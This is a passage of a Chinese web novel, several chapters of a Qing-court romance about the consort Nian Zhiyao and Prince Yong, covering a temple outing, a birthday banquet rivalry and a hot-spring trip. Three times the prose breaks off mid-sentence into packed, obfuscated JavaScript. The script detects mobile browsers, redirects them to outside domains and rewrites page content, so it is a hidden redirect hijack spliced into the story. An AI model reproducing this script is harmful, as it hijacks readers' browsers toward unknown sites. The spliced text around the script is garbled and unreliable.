从大雄宝殿出来,四爷正在与主持谈论佛法,他左手握着一卷经书,神情专注,更显他气质出尘,与寺里的气氛相得益彰,要不是知道四爷的野望,年芷瑶还以为他马上就要参透红尘了,皈依我佛了呢。 一旁的松嬷嬷笑意盈盈扶着她进了一处观音殿:“主子既然来了,也该到这处拜一拜才是。” 年芷瑶抬头一看,果然是送子观音,她抽了抽嘴角,很想告诉松嬷嬷,能不能怀上孩子,主要是看男人,而不是靠菩萨。 可看着眼神中透露着十分期待的奶嬷嬷,她最终还是把嘴闭上了。 让人有个心理安慰也是好的。 等年芷瑶忙完,四爷也走了过来,低声道:“去用膳吧。” 不知是不是她的错觉,总觉得和主持聊完的四爷越发仙风道骨了呢。 不过有一说一,万寿寺的素斋确实不错。 年芷瑶吃得心满意足后放下筷子,看向一旁的四爷,“爷,我们去转转吧。” 她抚了抚肚子,今日吃得有些多呢,四爷无奈,牵着她去了后院。 寺庙里种满了银杏树,如今正值秋天,银杏树叶铺在地面,像极了一条金黄色的地毯,绚丽多彩。 年芷瑶叹道:“等到冬天落雪,这里一定更美。” 四爷:“那等冬日爷再带你来赏雪。” 年芷瑶笑着看他:“那再在树下埋上一些梅花酒,等春日的时候喝。” 四爷:“好。” 年芷瑶:“那可要说好了,爷每年都陪我过来。” 四爷捏了捏她的手:“好。” 华灯初上,两人到了京城最热闹的街,这里有京城最豪华的酒楼,旁边就是珠宝铺子,成衣铺子,还有卖各种工艺品和瓷制品的,好不热闹。 在酒楼用过晚膳,年芷瑶便拉着四爷的手兴致冲冲地去外面闲逛。 四周都是叫卖的小贩,她三步一停,五步一站,没多时,身后的侍卫们都拿满了东西,她这才意犹未尽地回了府。 到了东院,年芷瑶便开始迫不及待地整理起了在街上买的小玩意。 她最喜欢的便是在一家小小的首饰铺子买到的银簪子,上面雕刻两朵栩栩如生的玉兰花,花蕊上还镶嵌着细碎的珍珠,虽然和她一匣子的翡翠珠宝来比,并不相配,但她却意外地喜欢。 在现代她也买过一个类似的簪子,那是她拿到第一个月的工资给自己买的生日礼物,虽然不值钱,却是她的第一件首饰,即便后来她有钱买了大牌奢侈品,那根银簪子也一直被她好好地收了起来。 苏培盛看着精神颇好的年主子摇了摇头,偷偷揉起了腰,真是人不可貌相,都说这年主子体弱,可如今看来年主子的身体可比他好多了,这一天下来他累得腿都软了,年主子却一点事都没有,看起来还能再逛一天。 他偷偷瞧了一眼四爷,也不知道主子爷撑不撑得住。 四爷在生气。 年芷瑶本来并不知情,可却敏锐地感受到东院的气氛越发凝固。 她看着小心翼翼和她聊天的白芨,然后掐指一算,四爷好像已经两天没来后院了,本来她还以为四爷是忙,但看白芨的样子,好像事情不简单啊。 她问白芨:“四爷有新人了?” 白芨一吓:“主子怎么这么说。” 她挑眉:“那你们干嘛这副样子。”好像她踩上地雷了一样。 见瞒不过去,白芨悄声说道:“四爷这几日许是心情不好,连苏公公都被罚了。” 年芷瑶有些惊讶,苏培盛被罚了,他自小就伺候四爷,按理应该最是了解四爷心思的,怎么连他都被罚了。 可这和她有什么关系,她看向白芨:“为什么不告诉我。” 白芨犹豫了一些,说道:“奴婢怕您担心爷。”若是主子碰了上去,被迁怒就不好了。 年芷瑶无奈,她看着有这么傻吗,四爷摆明了心情不好,她还往前凑,就算是真爱也不能这么作啊。 更何况,她也没到真爱那份上啊,四爷自己过来求安慰也就罢了,不想见人的时候,就不要睁着眼往前冲了好吧。 白芨看她脑子清醒,连忙把话都说了:“奴才也不知为何,听说前日四爷下了朝回来,面上就不大好看,这两日前院书房不少人都因为伺候不好挨了板子呢。” 年芷瑶点了点头:“这几日你们也小心些。” 其实不必她说,下头的人远比上位者感受得更清楚,他们都灵醒得很,后院主子惹了主子爷,最多挨顿训斥,他们若是做得不好,一不小心就得丢了命。 这些日子,府里连吵嘴的都少了很多。 又等了几天,四爷才来了东院,年芷瑶看了看他的脸色,像是没事了,四爷有一点好,就是生气的时候从不迁怒到后院,都是自己在前头生气,等气消了才过来,一般倒霉的也只有几个在前院伺候的太监。 但是这段时间若是有人赶上了,那就只能自认倒霉了,她看了四爷身后的苏培盛一眼,看他行动之间没什么不便,想必是没遭什么大罪。 只是这次连苏培盛都摸不着脉,想来是生了大气。 她也没想着四爷今日会过来,便让膳房上了一道爆炒腰花。 四爷不喜吃下水,平日里她也不在他面前吃,她看了看四爷,想让白芨把这道菜撤下去。 四 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15061868|162535||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 爷摆了摆手,对她道:“你喜欢吃这个,留着便是。” 年芷瑶对他笑了笑,“爷不喜欢这味道,闻着也不舒服,何必要强人所难呢。” “况且我想吃这口,等日后再让他们做便是。” 她挥了挥手,苏培盛十分利索地将盘子端了下去。 四爷叹了一口气,连瑶儿都知道如此体贴他,可他的亲弟弟却偏要和他作对。 想到前两日他劝十四离老八远一些他就气极,老八如今再能蹦跶,也不过是秋后的蚂蚱,蹦跶不了两天了,他整日里四下结交,难不成以为旁人都是傻子不成。 谁知却被十四顶了回来,四爷呵呵一笑,他愿意去贴老八,那去便是。 年芷瑶小心地看了他一眼,四爷笑得有点吓人诶,不会有人要倒霉了吧。 永和宫。 福嬷嬷为德妃上了一盏安神汤,“娘娘,夜深了,早些歇息吧。” 德妃吐了口气,“这个老十四。” 福嬷嬷知道德妃的心事,前些日子,四爷和十四爷在宫门前不知说了什么,没两句话四爷便脸色难看,而后不欢而散。 她劝道:“十四爷还小呢,再等几年就好了。” 德妃拍了拍桌子:“他小什么,他儿子都快十岁了,他还如此不懂事。” 她这辈子生了这么多孩子,十四是唯一一个让她这么操心的,老四出生的时候她还没有位份,不能抚养阿哥,只能交给别人抚养,因为这个,即便后来孝懿去了,老四也和亲近不起来了。 老六是个乖巧的孩子,最是体贴,可惜体弱,长到六岁就没了,后来十四出生,是她最小的孩子,又长在她身边,她难免偏疼几分。 若是老六还在,老四和十四都不会成今日这副样子,可这宫里,又有谁能养得住三个阿哥呢。 她叹了口气:“老四家的孩子也太少了些,到现在也只有三个阿哥,万岁最喜欢多子多福,他的那些兄弟,哪个不比他家孩子多。” 若是有旁的心思,也该早做打算才是,一个两个的,都不让她省心。 福嬷嬷:“如今有了年主子,等过些日子,肯定会有好消息传来的。” 德妃:“但愿吧。” 夜深人静,年芷瑶描绘起了四爷的五官,这是她头一次这么认真地看他,四爷的眉毛浓密修长,边缘清晰,不用修就很好看,眼睛随了德妃,有一双好看的桃花眼,眼形较长,眼尾微微上翘。 只是平日里表情多半严肃,让人不敢接近,鼻子挺拔,嘴也好看,是她喜欢的类型。 可他即使在睡梦中也眉头微蹙,听说人在白日中的心思会反应在梦里,四爷这般想必是有许多心事吧。 年芷瑶伸手为他抚平了皱着的眉头,不免心中泛起一丝怜爱,她只知道四爷日后会做皇帝,可这中间有多少曲折,忍耐她都不知。 但想想被圈的废太子,直郡王,之后又有多少掉马的阿哥,她也知道这不是个容易事。 她抬头亲上了四爷的脸,又伸手摸了摸他的耳朵,然后轻轻拍了拍他的胸口,像是在哄小孩子睡觉一样。 等她睡去,四爷缓慢地睁开了眼,扭头看向了年芷瑶,又摸向了微痒的耳朵,眼里溢出笑意,等握住了她的手,这才沉沉睡去。 20. 第 20 章 钮祜禄氏:“四爷可是去了年侧福晋那。” 春桃:“是。” 钮祜禄氏松了一口气,这几日四爷心情不好,后院的人都战战兢兢,生怕不小心触了四爷的霉头,受了牵连。 四爷进了后院,想必是过去了,说来也可笑,她们这些人平日里恨不得侧福晋失宠,如今却觉得四爷去侧福晋那是件好事了。 钮祜禄氏看向熟睡的弘历,凡事有舍有得,她不去争这个宠爱,只愿她的弘历能平安长大。 她的弘历是个聪明孩子,比傲气的三阿哥,懵懂的五阿哥要聪明得多,说不得能有大造化呢。 正院 福晋看向喝茶的四爷,“再过不久就是爷的生日了,我准备在府中办个家宴,乐上一乐,爷觉得可好。” 她将早早列好的单子递了上去,“爷看这样可好。” 四爷看了看,“福晋做事一向妥帖,就由福晋安排吧。” 他想了想,又道:“再请个戏班子,瑶儿喜欢热闹。” 福晋愣了一瞬,才明白过来四爷指的是年氏,她笑了笑:“也好,府里很久没有这么热闹了。” “可要再请旁人过来。” 四爷摇头:“如今正值多事之秋,只在府里小聚便好。” 福晋点头称是。 等四爷走后,福晋看了一眼福嬷嬷,说了一句:“这戏要想好看,还是得请好的班子来演才是。” 福嬷嬷会意。 福晋看着屋外头漆黑的夜,早在前几年,四爷就不在她这过夜了,等到弘辉去了,四爷更是只有在有正事的时候才会来正院。 一个李氏被压下去了,又来了一个年氏,若是再让年氏一家独宠,她这个福晋可真成摆设了。 这些日子为了四爷的生日宴,正院那忙得不行,白芍说每日去提膳时都会看见牡丹等人在大厨房进进出出的,好不热闹。 年芷瑶听后笑了笑,继续在院子里喝着黑糖珍珠奶茶,毕竟她也没什么事干,给四爷的生日礼物早早就准备好了,管家权则是被福晋死死抓在手里,不许任何人染指。 她无事可做,自然摆弄起了吃食,这黑糖珍珠便是她新让小厨房做的,他们研究了三天才呈了上来,不知是进行了配方改良,还是食材更好一些,她喝着竟比一些奶茶店的还要好上一些。 四爷尝了后也觉得不错,又将此物进给了德妃,谁知德妃也很喜欢,还特意赏了东西下来。 年芷瑶摆弄着新得的玉如意,深觉不亏。 白芨抱着一堆衣服走了过来:“主子,明日便是四爷的生辰宴了,这几件旗装都是针线房新做的,您觉得哪件好。” 她笑了笑,“奴婢都快挑花眼了,只觉得哪件都好,实在选不出了。” 松嬷嬷跟着过来看了看,指着其中一件道:“这件不错,颜色寓意都好,主子觉得呢。” 白芍凑了过来,“嬷嬷,是我眼花了吗,怎么觉得这件衣裳好像有金光在闪呀。” 松嬷嬷笑笑:“这种料子叫织金锦,因会在锦缎中织入金线,才得此名,这般复杂的图案,普通的绣娘要绣上半年才能得一匹,十分珍贵。” 年芷瑶看了过去,紫色的旗装上绣着兰花,八宝纹,福字纹,还在袖子处镶了三道边,每一层都绣了不同的图案,看上去就高贵优雅。 她道:“那就听嬷嬷的。” 听她开口,几人更是来了兴致,替她挑起了妆容首饰,力求在四爷生日宴当天能艳压群芳,一骑绝尘。 年芷瑶十分配合坐在梳妆台前,听着她们讨论什么佩戴什么珠宝才好,直到采芙想为她选一顶宝石点翠戴着她头上,她才连忙制止:“太夸张了,只是个家宴。” 她又不是要去走红毯,意思意思就行了,没必要搞这么沉的东西,她的颈椎也是颈椎啊,尤其它现在还是一个没因伏案工作而得颈椎病的好颈椎,更要好好保护了。 采芙只能退而求其次,选了一个轻巧精致的钿子。 第二日一早,福晋的人便过来传话说,宴会定在了园子里,年芷瑶有些期待,花园旁有一个戏台子,看来是有戏看了。 今日的天气尚好,年芷瑶带着白芨和松嬷嬷去了园子。 见她来了,在座的几个格格连忙起身行礼:“给侧福晋请安。” 她抬了抬手:“不必多礼。” 花园里布置得相当精巧,还在树上挂上了不少灯笼,吉祥喜庆,想必天黑后也是极为明亮。 宴几上摆好了瓜果点心,年芷瑶先入了座,她环视一圈,今日她来得早了些,李氏还未到。 不过说曹操曹操到,她一抬头,就见着李氏袅袅婷婷地走了过来,她笑道:“许久未见姐姐了,姐姐近来可好。” 自从中秋宫宴之后,李氏便向福晋告了假,说是身子不好染了病,怕传染各位姐妹,福晋就免了她的请安。 她本以为这是李氏的托词,可如今看着她消瘦憔悴的身影,她心中一惊,李氏竟像是真的病了。 不过即使是生病,李氏对她也没什么好脸色:“妹妹还是先关心关心自己吧,姐姐这就不劳妹妹操心了。” 年芷瑶微微一笑,并不动怒。 不多时,福晋便走了过来,几人又是一番见礼。 最后到的是四爷,他先是看了年芷瑶一眼。 而后又瞧了李氏,说道:“你既然身子不好,就不必过来了,好好歇息便是。” 李氏幽幽然地起身,“今儿个是爷的生辰,妾也想亲自为爷庆贺一番。” 年芷瑶微微睁大了眼睛,说实话,自从她进府后就见李氏一副盛气凌人的模样,从未想到她在四爷面前竟是这样的。 不过也不奇怪,四爷想来没有受虐的倾向,自然不会喜欢被人甩脸子,李氏在她们面前再狂妄,也不会在四爷面前发脾气。 只是看着李氏微微低头,露出苍白倦怠的侧脸,在烛光的照耀下显得异常夺目,她突然明了,李氏为何年轻时会得宠了。 说实话李氏现在的年纪也不算 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15066584|162535||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 很大,她三十许人,又保养得宜,身上散发着成熟女人别样的风情,之前看不出来,如今收了脾气,只剩柔弱,倒更显得让人怜惜。 况且三十岁又如何,没看见宫里的德妃娘娘和宜妃娘娘三十岁时还十分得宠吗,即便是现在,万岁也会时不时地去两位娘娘宫里坐坐。 众人表情不一,谁也不知四爷心里是怎么想的,虽说现在年氏颇为得宠,可李氏到底与四爷有多年情分,又有二格格和三阿哥,她能不能成可不好说。 故而连苏培盛都不想得罪人,他过来掐着时辰过来禀告:“爷,郡主派人送东西过来了。” 四爷:“呈上来。” 苏培盛带着人将东西抬了进来,是一架屏风,上面绣着一朵朵盛开的梅花,梅花灼灼,耀人眼目。 年芷瑶心中微动,梅花这种带着意象的东西怎么都不像是二格格会绣给四爷的,她瞧了一眼李氏,果然见她眼角微红,似有说不出的情绪。 她就知道李氏不会善罢甘休,原来是等在这儿了,先示以柔弱,再让女儿来续旧情,就算四爷看着女儿份上也不会再为难她。 不愧是早年间能撑起四爷后院半边天的人啊。 但她心中倒是不慌,凭他对四爷的了解,他不一定会愿意有人用孩子争宠,还把出嫁的郡主牵扯进来,更是让他不满。 果然四爷的情绪淡了一些,他扫过一眼屏风:“有心了,拿下去吧。” 苏培盛:“是。”他低头退去,心中暗自琢磨,看来李侧福晋这次是竹篮打水一场空啊。 四爷道:“开宴吧。” 李氏看着四爷一眼,似乎还想说什么,可旁边已经传来了敲敲打打的声音,正是府里请的戏班子开演了。 平心而论,这戏唱得倒是不错,应该是京城有名的班子,嗓音婉转流长,让人听而不忘。 只是今天唱的曲目是百花亭,又名贵妃醉酒,现在唱的这段正是杨贵妃约唐明皇百花亭赴筵,但明黄失约,杨贵妃询问后得知他早已转驾西宫,内心怅惘,然后在百花亭醉酒的情景。 台上的旦角衔杯而醉,眼角流泪,将杨贵妃的哀怨愁苦展现得淋漓尽致。 只是这曲目虽有名,可用排在寿宴上唱可不多见,年芷瑶看了福晋一眼,这是联手要从她手里抢人。 白芨和松嬷嬷也看出了气氛不对,紧张地对视一眼。 钮祜禄氏不动声色地抱着四阿哥,连五阿哥都知道眉眼高低,平日里最爱的排骨都不闹着要吃了。 整个晚宴只有年芷瑶还吃得下饭,她将一桌子菜挨个尝了遍,吃到七分饱,才放下了筷子,不得不说,福晋管起家来还是挺有一手的,至少这菜比宫宴上的好吃多了。 四爷瞧她一眼,并未作声。 等宴会结束,众人的眼光不住地在李氏和她的身上打转。 四爷起身后冲她伸出手:“走吧。” 年芷瑶连忙起身跟上,白芨和松嬷嬷彻底松了一口气。 身后人的表情不一。 21. 第 21 章 宴席散去,钮祜禄氏与耿氏的院子的方向相同,两人便相伴走着,因今儿个是四爷的生辰,府里各处都挂上了明亮的灯笼,即便是夜色昏暗,这花园的路都被照得亮堂得很。 两个阿哥由各自的奶娘抱着,他们年岁还小,撑到现在已是困极,在奶娘的怀里小脑袋一点一点的,很是可爱。 耿氏捏了捏五阿哥的脸蛋,率先开口道:“咱们这位侧福晋真是得宠。” 她并未说明是哪位侧福晋,可此情此景,也就只有那位能担得起了。 钮祜禄氏定定地说,“我只愿弘历好好长大。” 红颜易得,恩宠难续,如今年侧福晋是得意,可谁知这份得意日后会不会在旁人身上,不如顾好眼前才是真。 耿氏看了她一眼,她与钮祜禄氏同时进府,又先后生下阿哥,算是有几分交情,只是这份交情是做不得什么数的,尤其是在这后院之中。 她笑了笑:“姐姐说得是,妹妹也只愿五阿哥能平安健康。” 福晋失了阿哥,钮祜禄氏若是能靠上福晋,只要四阿哥长大,福晋自然有所安排,耿氏神色暗了暗。 回东院的路上,年芷瑶笑得不能自已。 四爷捏了捏她的手心:“想什么呢,这么开心。” 年芷瑶看他:“爷,你真的不知道我在为什么开心嘛。” 四爷抬头笑了笑。 年芷瑶玩着四爷指节分明的手,如今她算是知道了,什么叫一力降十会。 即便福晋和李氏背地里使了多少心思,只要四爷不配合,那也是无用功,她都能想象到现在两人的脸色是有多难看。 四爷捏了捏她的肩,“若爷真的去了李氏的院子,你当如何。” 年芷瑶抬头:“那我再把爷抢回来便是。” 后院这股风,不是东风压倒西风,就是西风压倒东风,若李氏的算计真的得逞,那只能说她技不如人,日后谋算一番,再将宠爱赢回来便是。 她本来也没对四爷的节操寄予厚望,难不成一遇见她,他就情不自已,会为她守身如玉了,怎么可能。 如今这个世道,别说皇上王爷了,就是平常富贵人家的少爷,也难保有三两个妾室,一个从小伺候的通房丫鬟,一个身世凄惨的红颜知己,一个家世清白的良妾。 再加上正室夫人的陪嫁丫鬟,上官赏下来的府妓,都是他们的‘不得已’。 更比不上明媒正娶的妻子,所以你不能嫉妒生气,还要将妾室的孩子当作自己的孩子,教导抚养,让人忍不住骂娘。 所以,若是四爷真的为了她不碰别人,那只能说明,后院的人都没有他喜欢的。 既然选择进了雍亲王府,她就不会为这些所困,好歹嫁给四爷是投入大于回报,拼上一拼,坐上太后不是梦,可今日他却自己回来了,倒是让她有些惊喜。 至于之后她会不会失宠,那都是日后的说法了,她有娘家,日后还会有孩子,怎么都不会被比下去。 四爷挑眉:“爷难道是什么任人抢来抢去的东西吗。” 年芷瑶抱着四爷的手臂撒娇道:“爷当然不是东西了,爷可是香饽饽,是谁都想咬上几口的大宝贝。” 四爷摇头,什么叫谁都想咬上几口,怎么不叫他唐僧肉呢。 回到东院,身边伺候的人便十分有眼色地退了下去。 年芷瑶看着十分顺眼的四爷,抬头吻上了他的唇。 感受着瑶儿的主动,四爷乐了,化被动为主动,反手按住她的脑袋亲了上去。 芙蓉帐暖。 门外,白芨看了看苏培盛,暗自撇嘴,刚才那二格格的贺礼怎么会送来得如此及时,定是苏培盛在背后帮了忙,还好四爷没被小人所蒙骗,照样来了她们东院。 她面上笑盈盈地道:“苏爷爷,天色不早了,您也快去歇着吧,这里有我们呢。” 苏培盛苦着脸,后院主子们再怎么争斗和他无关,与李侧福晋行三分方便本来也无事,毕竟得宠这事谁能说得准呢。 谁知李侧福晋竟是白忙活一场,若是让年主子记在心里可就不好了,早知他就不蹚这趟浑水了。 如此想着,他便对白芷又客气三分:“劳烦姑娘了。” 第二天一早,年芷瑶先睁开了眼睛,发现四爷还在她身边,有些惊讶地挑了挑眉,四爷今日竟没先去前院,是她醒得太早了吗。 一旁的四爷紧闭双目,感觉到瑶儿的气息变了,便知她睡醒了。 他本想醒来,却感受到瑶儿的气息逐渐靠近,他心中了然,定是她又起了什么坏心思,他也不说破,而是放平呼吸,直到一双微凉的手覆在了他的脸上。 四爷猛地睁开了眼,抓住了她的手,低声道:“想做什么。” 年芷瑶被他吓了一跳,险些叫了出声,又看他眼里没有丝毫睡意,显然是早就醒了,她不满地倒在了他的怀里:“爷,你故意骗我。” 四爷看着恶人先告状的年芷瑶:“嗯?” 看出四爷眼中的危险,她连忙认怂,“对了爷,我准备了生辰礼物给你。” 昨夜两人的进程有些快,害得她忘了把礼物拿出来,索性今日送出也不算晚。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15079541|162535||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 她拿出了早早放好的荷包递给四爷:“这是我亲手绣的,虽比不上绣娘的手艺,但爷可不准嫌弃。” 四爷仔细抚摸着荷包上栩栩如生的并蒂莲,笑了笑:“很好看,瑶儿的心意爷收到了。” 他凑近道:“爷会好好珍惜的。” 年芷瑶感受着他越靠越近的呼吸,不由得羞红了脸,这人,真是恶趣味。 四爷笑得越发肆意。 她捶了他一拳,啧,男人。 门外听到动静的白芨红着脸退了两步,又对采芙挥了挥手,口中说道,“先等等。” 采芙点头,心中不禁叹道主子的得宠,当初自己要进年侧福晋的院子真是赌对了。 两人在床上耳鬓摩挲的好一会儿,眼看着再闹就要出事了,年芷瑶才开口喊道:“白芨。” 白芨小心翼翼地推开门,带着小丫鬟走了进来。 年芷瑶净完面,便坐了下来,旁边的采芙为她梳妆,四爷饶有兴致地等在一旁,然后为她挑了一支赤金嵌玛瑙珠海棠花步摇。 步摇上的流苏随着她的身形微微晃动,十分灵动,她笑道:“爷的眼光就是好。” 四爷笑笑。 今日不用请安,换言之就可以躺平。 四爷也没有离开的意思,两人一同用过午膳便在贵妃榻上躺了下来,看着苏培盛新送来的话本子,年芷瑶看了看四爷,这算不算四爷被她带歪了啊。 这话本子她也是第一次看,讲的是一个秀才路过一个大户人家,意外捡到这家小姐迎风吹落的手帕,两人见面后情定终身。 可大小姐的家中却看不上这个穷秀才,大小姐宁愿与家中决裂,也要与秀才在一起,两人历经磨难,最后有情人终成眷属的故事。 四爷皱着眉头看完,“这写的都是什么东西。” 年芷瑶笑了出声,四爷这么务实的一个人,不理解这些穷酸书生的意淫也是应该的。 她点评了句:“虽然故事老套,但是文笔还可以。”至少能当个打发时间的笑话看。 四爷:“这秀才不过是沽名钓誉之辈,若真是喜欢人家小姐,就应禀明父母,明媒正娶,小姐家嫌他,更应该发愤读书,早日考中进士才是,怎可带着人家小姐私奔,只是自己无能罢了。” 他最后总结:“若爷的女儿为了这样的男人和家中决裂,爷定要把她的腿打断。” 年芷瑶看了看四爷,虽然她也很不喜欢秀才,但这不过是个话本子,爷,你是不是太当真了些。 她笑了笑,她好像意外地看到了四爷的另一面。 22. 第 22 章 紫禁城 宜妃宫里的宫女正去膳房提今日的点心。 小太监看见她来,忙笑道:“今儿个怎么是佩兰姐姐亲自过来,即是宜妃娘娘要的东西,姐姐吩咐人过来取便是。” 佩兰:“主子的吩咐,哪有打折扣的。” 小太监奉承道:“怪不得人人都说姐姐忠心呢,这份心思,果然不是我等能比的。” 佩兰笑笑,并不搭腔,“点心可做好了。” 小太监笑道:“早就好了,少了谁的,也不能少了宜妃娘娘的不是。” 他是刘大厨的徒弟,一直跟着他师傅伺候几位妃主子的膳食,最是知道什么人爱听什么话,像宜妃身边的大宫女佩兰,就最爱听旁人说宜主子得宠的好话。 要是德妃娘娘身边的采菊姑娘过来,他可就不敢这么说了。 佩兰满意地点了点头,她从入宫起便伺候宜妃,最是忠心不过,要她说这宫里谁最得圣心,那她们宜娘娘绝对排得上号。 即便如今得宠的都是些年轻的妃嫔,可在佩兰看来,那些个答应之流,万岁再是招幸她们,也只不过是个玩意,倘若没有运气生下阿哥,这辈子也就到头了。 翊坤宫,佩兰将食盒里的青花缠枝花卉碗拿了出来。 “娘娘,点心拿来了。” 宜妃手点了点头。 如今她年岁大了,越发注意保养,一般不会吃点心,今日特意去膳房也只是听说德妃那得了一个新奇的点心,连皇上吃过都道了句不错。 她才特意让膳房做了一份尝尝,她和德妃几十年的不对付,怎么不知她还会做点心了。 宜妃咬了一口是黑色的丸子,挑了挑眉:“这东西的口感倒是有点特别。” 宫女将打听来的消息说道:“听说这是雍亲王侧福晋的小厨房做的,好像是叫黑糖珍珠。” 宜妃看她:“老四的侧福晋,是姓年吧。” 佩兰:“是呢。” 宜妃放下瓷碗,“德妃倒是好运气,还有儿媳孝顺。” 她展眉一笑,让人不得不感慨,即便是年华渐逝,仍可看出年轻时的风华绝代。 年芷瑶正一个人在屋子里吃锅子,四爷没空过来,她便没叫大厨房的膳,只让小厨房熬了骨汤,又切了上好的牛肉,码上各种配菜,再配上冰镇的梅子酒,只觉得人生逍遥。 她边吃边叹,可惜如今番茄还没传进来,要不然,一个麻辣锅,一个番茄锅才是王道啊。 白芨在旁边倒酒,眼看自家主子还要再喝,连忙劝道:“主子,这酒寒凉,您少喝些吧,若是让嬷嬷看见了,又该怪我了。” 年芷瑶冲她笑笑:“好白芨,就让我再喝一点吧。” “再呈一壶就好。” 她正与白芨打着商量,却突然打了一个喷嚏,她皱了皱鼻子,是谁在念叨她。 白芨见了,连忙把酒收走了,“主子快别喝了,小心着凉。” 年芷瑶欲哭无泪,眼睁睁地看着白芨把梅子酒换成了红枣茶,“主子喝这个吧,驱寒养胃。” 她内心狂喊,哪有吃火锅配红枣茶的啊。 午后,四爷来到东院,看着年芷瑶苦着脸,笑道:“这是怎么了,谁惹你不高兴了,这小嘴都能挂油瓶了。” 听四爷说起了俗语,年芷瑶忍不住笑了,她道:“没人惹我。” 四爷挑眉:“还想瞒爷。” “你说。”他伸手指向白芨。 白芨看了年芷瑶一眼,不敢说话。 见避不过去,年芷瑶连忙拉着四爷的衣袖,说明了缘由。 四爷听完后,头一次赞了白芨一句,说她忠心为主,不错。 白芨连忙跪下去谢了恩,有了四爷说的一句忠仆,她差不多就成免检产品了,算得上一件好事。 四爷又扭头对她道:“怎么还和小孩子似的,如今天凉,少喝些冷酒才是。” 年芷瑶拉着四爷的袖子晃了又晃,不满道:“爷。” 四爷只能哄她:“等再过几日,爷带你去泡温泉可好。” 年芷瑶满意了,笑道:“好。” 四爷笑了笑,这些日子老八越发活泛起来,难不成他以为有几个大臣在皇阿玛面前说他的好话,他就能坐上太子吗,简直是异想天开。 他越发不耐起来,但也不好发作,不如先离了京城,先去躲躲清闲也好。 年芷瑶把玩着四爷戴在大拇指上的翡翠扳指,能被四爷看中的都是些好东西,她看这颜色得是帝王绿吧,要是在现代拍卖至少能值几百万吧。 她记得当年有个在香港的拍卖会,其中一个拍品是玻璃种的帝王绿翡翠扳指,拍出了1200万的高价,成色看着还没四爷这个好,她顿了顿,也就是说这一个扳指就够她在现代躺平了,她有些仇富了。 看都在愣神的两位主子,苏培盛无奈,这都过了晚膳地点了,到底叫不叫膳啊。 他看向四爷刚夸赞的忠仆白芨,示意道,你去问问你家主子。 白芨站在一旁眼观鼻,鼻观心,丝毫不为所动。 还是年芷瑶先回过神,看了一眼一旁的座钟,时间已经指向了六点一刻,她拍了拍手:“已经这个时辰了啊。” 这座钟还是前些日子皇上赏的呢,她看这钟繁复美丽,又加上她更习惯现代的计时方式啊,就问四爷要了过来看时间。 她道:“爷,该用晚膳了。” 四爷点头:“传膳吧。” 苏培盛利索地应了一声。 四爷的行动颇快,前几日说要带她去温泉玩,没过几日,就将她带了出来。 年芷瑶饶有兴致地看着眼前的温泉庄子,四爷买下的庄子不是特别大,但加上后头加盖的房舍花园,也像个小园子一般了。 因着万岁爷和前头的孝庄太后都爱来温泉疗养,京城的达官贵人都爱买个温泉庄子,来不来另说,主要是要向万岁看齐。 故而小汤山温泉庄子的价格一直居高不下,而且位置好的早被人买走了,四爷能在靠近行宫的位置有个这般大的庄子,说不得都是因着皇阿哥的身份才得的呢。 庄子上一共有五个温泉池子,每个池子都功效各不相同,跟随的嬷嬷介绍的十分仔细,看她点头,笑得越发小意殷勤。 她和四爷的池子是分开的,等她舒舒服服地泡完温泉出来,没瞧见四爷的身影。 她看向白芨:“爷呢。” 白芨:“爷去前头了,说您泡完直接过去便是。” 年芷瑶无奈,她就没见过如此爱工作的人,怎么来了温泉庄子也不得闲。 她换好衣服去了前头正殿,因是傍晚,她也没让人梳什么复杂的发髻,只简单地编了一个辫子。 左右只能她和四爷两个人,自然不会有人多嘴说什么。 四爷正在屋子里看信,看见她来,对她招手。 “来。” 年芷瑶看了看四爷的表情,总觉得他和平时有些不一样。 “爷。”她绕到四爷身后。 四爷捏住她的手:“嗯?” “爷是不是背着我干了什么。” 四爷挑眉,“你怎么知道。”他没想到瑶儿竟然如此敏锐。 年芷瑶笑了起来,“我当然了解爷了。”她没说的是,四爷刚才的神情好像她之前养的小狗,它把吃剩的零食藏起来想给她惊喜的时候,就是这副样子。 四爷也笑了起来,凑到她耳边说了一句话。 年芷瑶瞪大了眼睛,“真的吗,额娘真的会来吗。” “爷还会骗你不成,难不成你不知道年家在这也有个温泉庄子。” 年芷瑶的嘴角止不住地往上扬,家里的确也在小汤山买了一处庄子,不过离地较远,额娘本来想买来给她做陪嫁的。 只是被她拒绝了,额娘年轻的时候受了寒,她嫁人之后,灵泉水也不便偷偷拿给额娘喝,多泡泡温泉对她的身子有益,她便让额娘陪嫁了别处的庄子,把这处地留下了。 她看了看四爷,要说这事不是提前四爷安排好的,她都不信。 她靠近四爷怀里,“爷,你对我真好。” 